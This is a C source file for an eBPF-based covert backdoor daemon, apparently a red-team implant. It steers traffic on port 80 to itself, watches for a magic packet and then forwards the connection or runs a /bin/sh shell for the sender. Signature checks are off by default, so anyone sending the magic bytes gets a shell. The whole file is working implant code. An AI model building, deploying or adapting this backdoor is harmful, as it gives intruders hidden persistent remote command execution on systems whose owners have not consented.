piggyback/piggyback.c
2026-04-04 18:03:43 +02:00

540 lines
20 KiB
C

// piggyback.c — userspace daemon
//
// Loads TC eBPF + sk_lookup programs, registers daemon socket,
// polls ring buffer, verifies Ed25519 signatures, dispatches connections.
//
// All configuration is via compile-time constants below.
// Build: make Run: sudo ./piggyback
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <inttypes.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <pthread.h>
#include <net/if.h>
#include <bpf/libbpf.h>
#include <bpf/bpf.h>
#include <sodium.h>
// ── Engagement Configuration ──────────────────────────────────────────────────
// Edit these before compiling. Run `make keygen` to generate a keypair.
#define IFACE "" // "" = auto-detect default-route interface; or set e.g. "eth0"
#define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
#define FWD_PORT 22 // default forward target port
#define SERVER_IP "0.0.0.0" // own IPv4, included in signed message for replay prevention
#define VERBOSE 0 // 1 = debug logging
// Ed25519 auth.
// Set AUTH_ENABLED=1 and paste the 32-byte pubkey hex from `make keygen`.
// Leave AUTH_ENABLED=0 to accept any magic packet without signature check.
#define AUTH_ENABLED 0
#define TRUSTED_PUBKEY { \
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 \
}
// ── Shared constants (must match piggyback.bpf.c) ────────────────────────────
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
#define HDR_TIMESTAMP_OFF 0
#define HDR_ACTION_OFF 8
#define HDR_TARGET_IP_OFF 9
#define HDR_TARGET_PORT_OFF 13
#define HDR_SIG_OFF 16
#define HDR_MSG_LEN 20 // 16 header bytes + 4 server IP bytes
#define ACTION_FORWARD 0x01
#define ACTION_SHELL 0x02
#define REPLAY_RING_SIZE 256
#define TIMESTAMP_WINDOW 60 // seconds
// ── Event struct (must match piggyback.bpf.c) ─────────────────────────────────
struct event {
uint8_t src_ip[16];
uint16_t src_port;
uint8_t is_ipv6;
uint8_t flags;
uint32_t seq;
uint32_t ack_seq;
uint8_t header[HEADER_LEN];
uint8_t header_valid;
};
// ── Globals ───────────────────────────────────────────────────────────────────
static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY;
static uint8_t server_ip_bytes[4]; // parsed from SERVER_IP at startup
static volatile int running = 1;
static unsigned int ifindex = 0;
static char iface_name[64];
static struct bpf_object *obj = NULL;
static int accept_fd = -1;
// ── Interface auto-detection ──────────────────────────────────────────────────
static int get_default_iface(char *buf, size_t len) {
FILE *f = fopen("/proc/net/route", "r");
if (!f) return -1;
char line[256];
fgets(line, sizeof(line), f); // skip header
while (fgets(line, sizeof(line), f)) {
char iface[64];
unsigned int dest;
if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) {
strncpy(buf, iface, len-1);
fclose(f);
return 0;
}
}
fclose(f);
return -1;
}
// ── Logging ───────────────────────────────────────────────────────────────────
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
// ── Replay ring ───────────────────────────────────────────────────────────────
struct replay_entry {
uint32_t src_ip;
uint64_t timestamp;
uint8_t sig_prefix[8];
};
static struct replay_entry replay_ring[REPLAY_RING_SIZE];
static int replay_head = 0;
static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER;
static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *sig) {
pthread_mutex_lock(&replay_lock);
for (int i = 0; i < REPLAY_RING_SIZE; i++) {
struct replay_entry *e = &replay_ring[i];
if (e->src_ip == src_ip && e->timestamp == ts &&
memcmp(e->sig_prefix, sig, 8) == 0) {
pthread_mutex_unlock(&replay_lock);
return -1;
}
}
struct replay_entry *slot = &replay_ring[replay_head % REPLAY_RING_SIZE];
slot->src_ip = src_ip;
slot->timestamp = ts;
memcpy(slot->sig_prefix, sig, 8);
replay_head++;
pthread_mutex_unlock(&replay_lock);
return 0;
}
// ── Splice loop ───────────────────────────────────────────────────────────────
static void splice_loop(int a, int b) {
int epfd = epoll_create1(0);
if (epfd < 0) return;
struct epoll_event ev, evs[2];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev);
ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev);
char buf[65536];
while (running) {
int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
int src = evs[i].data.fd;
int dst = (src == a) ? b : a;
ssize_t r = read(src, buf, sizeof(buf));
if (r <= 0) goto done;
ssize_t w = 0;
while (w < r) {
ssize_t s = write(dst, buf + w, r - w);
if (s <= 0) goto done;
w += s;
}
}
}
done:
close(epfd);
}
// ── Forward action ────────────────────────────────────────────────────────────
static void do_forward(int client_fd, const char *host, int port) {
struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
struct addrinfo *res;
char port_str[8];
snprintf(port_str, sizeof(port_str), "%d", port);
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
log_err("getaddrinfo(%s:%d) failed", host, port);
return;
}
int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0);
if (fwd_fd < 0) { freeaddrinfo(res); return; }
if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) {
log_err("connect to %s:%d: %s", host, port, strerror(errno));
close(fwd_fd);
freeaddrinfo(res);
return;
}
freeaddrinfo(res);
log_dbg("forwarding to %s:%d", host, port);
splice_loop(client_fd, fwd_fd);
close(fwd_fd);
}
// ── Shell action ──────────────────────────────────────────────────────────────
static void do_shell(int client_fd, const char *cmd) {
int in_pipe[2], out_pipe[2];
if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return;
pid_t pid = fork();
if (pid < 0) return;
if (pid == 0) {
close(in_pipe[1]);
close(out_pipe[0]);
dup2(in_pipe[0], STDIN_FILENO);
dup2(out_pipe[1], STDOUT_FILENO);
dup2(out_pipe[1], STDERR_FILENO);
close(in_pipe[0]);
close(out_pipe[1]);
execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
_exit(1);
}
close(in_pipe[0]);
close(out_pipe[1]);
fcntl(in_pipe[1], F_SETFL, O_NONBLOCK);
fcntl(out_pipe[0], F_SETFL, O_NONBLOCK);
fcntl(client_fd, F_SETFL, O_NONBLOCK);
int epfd = epoll_create1(0);
struct epoll_event ev, evs[2];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = client_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev);
ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev);
char buf[65536];
while (running) {
int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto shell_done;
int fd = evs[i].data.fd;
if (fd == out_pipe[0]) {
ssize_t r = read(out_pipe[0], buf, sizeof(buf));
if (r <= 0) goto shell_done;
write(client_fd, buf, r);
} else {
ssize_t r = read(client_fd, buf, sizeof(buf));
if (r <= 0) goto shell_done;
write(in_pipe[1], buf, r);
}
}
}
shell_done:
close(epfd);
close(in_pipe[1]);
close(out_pipe[0]);
}
// ── Dispatch thread ───────────────────────────────────────────────────────────
struct dispatch_args {
int client_fd;
uint8_t header[HEADER_LEN];
uint8_t header_valid;
};
static void *dispatch_thread(void *arg) {
struct dispatch_args *a = arg;
int client_fd = a->client_fd;
uint8_t action = ACTION_FORWARD;
char fwd_host[64];
int fwd_port;
strncpy(fwd_host, FWD_HOST, sizeof(fwd_host)-1);
fwd_port = FWD_PORT;
if (AUTH_ENABLED && a->header_valid) {
uint8_t *hdr = a->header;
uint64_t ts = 0;
for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i];
uint64_t now = (uint64_t)time(NULL);
if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) {
log_err("timestamp out of window, rejecting");
goto reject;
}
uint8_t msg[HDR_MSG_LEN];
memcpy(msg, hdr, 16);
memcpy(msg + 16, server_ip_bytes, 4);
if (crypto_sign_ed25519_verify_detached(
hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) {
log_err("Ed25519 signature invalid, rejecting");
goto reject;
}
uint32_t src_ip32;
memcpy(&src_ip32, server_ip_bytes, 4);
if (replay_check_and_insert(src_ip32, ts, hdr + HDR_SIG_OFF) != 0) {
log_err("replay detected, rejecting");
goto reject;
}
action = hdr[HDR_ACTION_OFF];
if (action == ACTION_FORWARD) {
uint8_t *ip = hdr + HDR_TARGET_IP_OFF;
snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d",
ip[0], ip[1], ip[2], ip[3]);
fwd_port = (hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1];
}
log_dbg("auth OK: action=0x%02x", action);
} else if (AUTH_ENABLED && !a->header_valid) {
log_err("auth required but no valid header, rejecting");
goto reject;
}
if (action == ACTION_FORWARD) {
log_info("forward → %s:%d", fwd_host, fwd_port);
do_forward(client_fd, fwd_host, fwd_port);
} else if (action == ACTION_SHELL) {
char cmd[1024] = "bash";
ssize_t r = read(client_fd, cmd, sizeof(cmd)-1);
if (r > 0) cmd[r] = '\0';
log_info("shell: %s", cmd);
do_shell(client_fd, cmd);
} else {
log_err("unknown action 0x%02x, rejecting", action);
}
close(client_fd);
free(a);
return NULL;
reject:
close(client_fd);
free(a);
return NULL;
}
// ── Ring buffer event handler ─────────────────────────────────────────────────
static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) {
struct event *e = data;
char src_str[INET6_ADDRSTRLEN];
if (e->is_ipv6)
inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str));
else
inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str));
log_info("magic from %s:%d (flags=0x%02x header_valid=%d)",
src_str, ntohs(e->src_port), e->flags, e->header_valid);
struct sockaddr_storage peer;
socklen_t plen = sizeof(peer);
int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen);
if (client_fd < 0) {
log_err("accept: %s", strerror(errno));
return 0;
}
struct dispatch_args *a = malloc(sizeof(*a));
if (!a) { close(client_fd); return 0; }
a->client_fd = client_fd;
a->header_valid = e->header_valid;
memcpy(a->header, e->header, HEADER_LEN);
pthread_t tid;
pthread_create(&tid, NULL, dispatch_thread, a);
pthread_detach(tid);
return 0;
}
// ── TC attachment ─────────────────────────────────────────────────────────────
static int attach_tc(struct bpf_program *prog) {
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
.ifindex = ifindex,
.attach_point = BPF_TC_INGRESS,
);
DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts,
.handle = 1,
.priority = 1,
.prog_fd = bpf_program__fd(prog),
);
bpf_tc_hook_create(&hook);
if (bpf_tc_attach(&hook, &opts) < 0) {
log_err("bpf_tc_attach: %s", strerror(errno));
return -1;
}
log_info("TC attached to %s ingress", iface_name);
return 0;
}
static void detach_tc(void) {
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
.ifindex = ifindex,
.attach_point = BPF_TC_INGRESS,
);
bpf_tc_hook_destroy(&hook);
log_info("TC detached");
}
// ── sk_lookup attachment ──────────────────────────────────────────────────────
static int sklookup_link_fd = -1;
static int attach_sklookup(struct bpf_program *prog) {
int netns_fd = open("/proc/self/ns/net", O_RDONLY);
if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; }
struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd);
close(netns_fd);
if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; }
sklookup_link_fd = bpf_link__fd(link);
log_info("sk_lookup attached to netns");
return 0;
}
// ── Stats ─────────────────────────────────────────────────────────────────────
static void dump_stats(void) {
int map_fd = bpf_object__find_map_fd_by_name(obj, "stats");
if (map_fd < 0) return;
uint64_t v; uint32_t k;
k=0; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" total : %" PRIu64, v);
k=1; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" magic : %" PRIu64, v);
k=2; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" passed : %" PRIu64, v);
k=3; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" partial : %" PRIu64, v);
}
// ── Signal ────────────────────────────────────────────────────────────────────
static void on_signal(int sig __attribute__((unused))) { running = 0; }
// ── Main ──────────────────────────────────────────────────────────────────────
int main(void) {
if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; }
inet_pton(AF_INET, SERVER_IP, server_ip_bytes);
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
signal(SIGPIPE, SIG_IGN);
if (strlen(IFACE) > 0) {
strncpy(iface_name, IFACE, sizeof(iface_name)-1);
} else {
if (get_default_iface(iface_name, sizeof(iface_name)) != 0) {
log_err("could not detect default interface — set IFACE in source");
return 1;
}
log_info("auto-detected interface: %s", iface_name);
}
ifindex = if_nametoindex(iface_name);
if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; }
if (AUTH_ENABLED)
log_info("Ed25519 auth enabled");
else
log_info("WARNING: AUTH_ENABLED=0 — accepting without signature check");
// ── SO_REUSEPORT accept socket ────────────────────────────────────────────
accept_fd = socket(AF_INET6, SOCK_STREAM, 0);
if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0);
if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; }
int yes = 1;
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes));
struct sockaddr_in6 laddr = {
.sin6_family = AF_INET6,
.sin6_port = htons(LISTEN_PORT),
.sin6_addr = IN6ADDR_ANY_INIT,
};
if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
struct sockaddr_in la4 = {
.sin_family = AF_INET,
.sin_port = htons(LISTEN_PORT),
.sin_addr.s_addr = INADDR_ANY,
};
if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) {
log_err("bind port %d: %s", LISTEN_PORT, strerror(errno));
return 1;
}
}
if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; }
// ── Load eBPF ─────────────────────────────────────────────────────────────
obj = bpf_object__open("piggyback.bpf.o");
if (!obj) { log_err("bpf_object__open failed"); return 1; }
if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; }
int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock");
if (sock_map_fd >= 0) {
uint32_t key = 0;
uint32_t val = (uint32_t)accept_fd;
bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY);
}
struct bpf_program *tc_prog = bpf_object__find_program_by_name(obj, "piggyback_ingress");
if (!tc_prog) { log_err("TC program not found"); return 1; }
if (attach_tc(tc_prog) < 0) return 1;
struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup");
if (sk_prog && attach_sklookup(sk_prog) < 0)
log_info("sk_lookup attach failed — SYN-level steering disabled");
int rb_fd = bpf_object__find_map_fd_by_name(obj, "events");
struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL);
if (!rb) { log_err("ring_buffer__new failed"); return 1; }
log_info("piggyback running on %s port %d → %s:%d",
iface_name, LISTEN_PORT, FWD_HOST, FWD_PORT);
while (running)
ring_buffer__poll(rb, 100);
log_info("shutting down...");
dump_stats();
detach_tc();
ring_buffer__free(rb);
bpf_object__close(obj);
close(accept_fd);
return 0;
}